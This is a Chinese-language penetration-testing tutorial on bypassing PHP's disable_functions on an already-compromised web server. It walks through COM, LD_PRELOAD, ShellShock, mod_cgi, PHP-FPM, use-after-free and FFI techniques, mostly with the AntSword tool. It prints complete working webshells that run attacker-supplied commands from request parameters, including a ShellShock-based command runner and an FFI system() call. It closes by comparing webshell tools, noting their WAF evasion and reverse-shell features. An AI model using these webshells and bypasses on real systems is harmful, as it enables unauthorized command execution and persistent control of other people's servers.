跳到主要内容

Bypass disable_function

disable_functions是php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。

image-20230707214728970

比如拿到一个webshell,用管理工具去连接,执行命令发现ret=127,实际上就是因为被这个限制的原因

image-20230707214740308

黑名单

assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open

一般网站未禁用phpinfo函数,利用phpinfo函数查看disable_function 漏过了哪些函数,若存在漏网之鱼,直接利用即可。

利用Windows组件DCOM绕过

查看靶机phpinfo,发现dcom组件已开启

image-20221031185516369

在disable_functions中禁用了许多命令执行函数

image-20221031185624386

利用webshell执行system系统命令发现没有反应

image-20221031185914757

这里创建一个COM对象,通过调用COM对象的exec进行命令执行

<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

直接通过之前已经有的webshell将以上代码写入到根目录下的shell666shell.php中

image-20221031190413422

执行whoami命令

image-20221031191357116

利用Linux环境变量LD_PRELOAD

LD_PRELOAD是linux系统的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库

  • dll = windows 的动态链接库文件 把一些功能函数封装在dll文件中,调用时导入调用即可
  • so = linux 动态链接库文件

总的来说就是=LD_PRELOAD指定的动态链接库文件,会在其它文件调用之前先被调用,借此可以达到劫持的效果

php.ini 配置如下:

disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system

使用条件

  • Linux 操作系统
  • putenv
  • mail or error_log 本例中禁用了 mail 但未禁用 error_log
  • 存在可写的目录, 需要上传 .so 文件

利用复现

可以直接利用蚁剑插件(绕过disable_fucntion)进行绕过

image-20221031192309290

再次连接根目录下写入的.antproxy.php文件,密码为之前webshell的密码

原理:上传.so脚本(劫持php程序,重新启动一个新的php进程接收.antproxy.php请求)和.antproxy.php

如果网站服务器可以提升权限至root,可以通过root用户执行php -S 0.0.0.0:9090 通过9090端口访问的webshell即为root权限

利用 ShellShock (CVE-2014-6271)

php.ini 配置如下:

disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system

使用条件

  • Linux 操作系统
  • putenv
  • mail or error_log 本例中禁用了 mail 但未禁用 error_log
  • /bin/bash 存在 CVE-2014-6271 漏洞
  • /bin/sh -> /bin/bash sh 默认的 shell 是 bash

利用复现

AntSword 虚拟终端中已经集成了对 ShellShock 的利用, 直接在虚拟终端执行命令即可

原理脚本

<?php
function runcmd($c){
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if(substr($d, 0, 1) == "/" && function_exists('putenv') && (function_exists('error_log') || function_exists('mail'))){
if(strstr(readlink("/bin/sh"), "bash")!=FALSE){
$tmp=tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (function_exists('error_log')) {
error_log("a", 1);
}else{
mail("a@127.0.0.1", "", "", "-bv");
}
}else{
print("Not vuln (not bash)\n");
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output!=""){
print($output);
}else{
print("No output, or not vuln.");
}
}else{
print("不满足使用条件");
}
}

// runcmd("whoami"); // 要执行的命令
runcmd($_REQUEST["cmd"]); // ?cmd=whoami
?>

利用 Apache Mod CGI

php.ini 配置如下:

disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv

使用条件

  • Linux 操作系统
  • Apache + PHP (apache 使用 apache_mod_php)
  • Apache 开启了 cgi, rewrite
  • Web 目录给了 AllowOverride 权限
  • 当前目录可写

利用复现

首先连接已有的一个webshell,然后利用蚁剑的绕过disable_functions插件中的Apache_mod_cgi进行绕过

点击开始

image-20221031194642333

点击后会自动弹出一个终端,从该终端中可以执行系统命令

image-20221031194741834

PHP-FPM 利用 LD_PRELOAD

php.ini 配置如下:

disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system

使用

php.ini中没有禁止 putenv, 可以用 LD_PRELOAD完成命令执行

利用复现

image-20221031195238670

连接.antproxy.php文件,执行提供命令

image-20221031195416368

PHP-FPM

php.ini 配置如下:

disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv

相比上面PHP-FPM 利用 LD_PRELOAD,禁用了 putenv

使用条件

  • Linux 操作系统
  • PHP-FPM
  • 存在可写的目录, 需要上传 .so 文件

利用复现

首先连接已有的一个webshell,然后利用蚁剑的绕过disable_functions插件中的Fastcgi/PHP-FPM进行绕过

FPM/FCGI地址这里填写127.0.0.1:9000(在服务器本地9000端口起一个web服务),php路径默认选择php,再选择web的根目录,配置如下

image-20221031200010561

点击开始后会在web的根目录上新增一个.antproxy.php文件

image-20221031200027709

连接.antproxy.php(密码同之前连接的webshell密码),即可执行系统命令

image-20221031200203901

Json Serializer UAF

php.ini 配置如下:

disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv

使用条件

  • Linux 操作系统
  • PHP 版本
  • 7.1 - all versions to date
  • 7.2 < 7.2.19 (released: 30 May 2019)
  • 7.3 < 7.3.6 (released: 30 May 2019)

利用复现

首先连接已有的一个webshell,然后利用蚁剑的绕过disable_functions插件中的Json Serializer UAF模式进行绕过

点击开始后,会自动弹出一个终端,在此终端中可以执行系统命令

image-20221031200600522

PHP7 GC with Certain Destructors UAF

php.ini 配置如下:

disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv

使用条件

  • Linux 操作系统
  • PHP 版本
    • 7.0 - all versions to date
    • 7.1 - all versions to date
    • 7.2 - all versions to date
    • 7.3 - all versions to date

利用复现

首先连接已有的一个webshell,然后利用蚁剑的绕过disable_functions插件中的PHP_GC_UAF模式进行绕过(利用Json Serializer UAF也可以绕过)

点击开始,自动弹出一个终端,在此终端中可以执行系统命令

image-20221031201034422

利用 FFI 扩展

php.ini 配置如下:

disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv

使用条件

  • Linux 操作系统
  • PHP >= 7.4
  • 开启了 FFI 扩展且 ffi.enable=true

利用复现

首先连接已有的一个webshell,然后利用蚁剑的绕过disable_functions插件中的PHP74_FFI模式进行绕过(利用Json Serializer UAF也可以绕过)

image-20221031201638146

点击开始,自动弹出一个终端,在此终端中可以执行系统命令

image-20221031201701732

手动

PHP 代码:

$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami > /tmp/123");
echo file_get_contents("/tmp/123");
@unlink("/tmp/123");

运行后即可看到执行结果:

4.png

利用 LD_PRELOAD 环境变量

php.ini 配置如下:

disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,error_log

使用条件

  • Linux 操作系统
  • putenv
  • iconv
  • 存在可写的目录, 需要上传 .so 文件

相比之前的 LD_PRELOAD 环境, 多禁用了 error_log

利用复现

首先连接已有的一个webshell,然后利用蚁剑的绕过disable_functions插件中的iconv模式进行绕过

选择好php路径和web的根目录后点击开始

image-20221031202150492

可以看到在web的根目录中新增了一个.antproxy.php文件,使用蚁剑再次连接该文件(密码为前面连接webshell的密码)

image-20221031202320339

利用该webshell可以进行命令执行

image-20221031202351225

webshell工具特性

蚁剑

  • 插件多(bypass disable_function)
  • 支持一句话
  • 支持自定义编码器和解密器
  • as-exploits 支持反弹shell,一键上线MSF

冰蝎

  • 基于二进制动态加密(绕waf和动态检测)
  • 带有http(s)隧道,内网渗透可直接利用(不依赖其他文件)
  • 支持反弹shell,一键上线MSF|CS (支持aspx|jsp)

哥斯拉

  • 自带插件多,功能多(open_basedir bypass disable_function)
  • 支持反弹shell,一键上线MSF
  • 流量加密,绕过waf和态势感知